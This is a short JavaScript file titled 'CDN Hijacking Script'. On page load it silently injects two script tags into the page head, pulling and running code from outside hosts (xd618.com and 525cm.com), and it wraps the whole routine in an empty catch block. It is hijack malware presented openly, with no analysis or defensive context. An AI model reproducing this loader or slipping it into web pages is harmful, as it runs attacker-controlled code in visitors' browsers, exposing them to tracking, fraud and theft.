CDN Hijacking Script

hijacking_script.js

try {
  if (!document.getElementById("mck0")) {
    var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
    s1 = "http://8.525cm.com/v2/v.php?id=01";
    var ar = new Array(2);
    ar[0] = s0;
    ar[1] = s1;
    var h = document.getElementsByTagName('head').item(0);
    for (var i = 0; i < 2; ++i) {
      var sc = document.createElement("script");
      sc.type = "text/javascript";
      sc.id = "mck" + i;
      sc.src = ar[i];
      h.appendChild(sc);
    }
  }
} catch(e) {}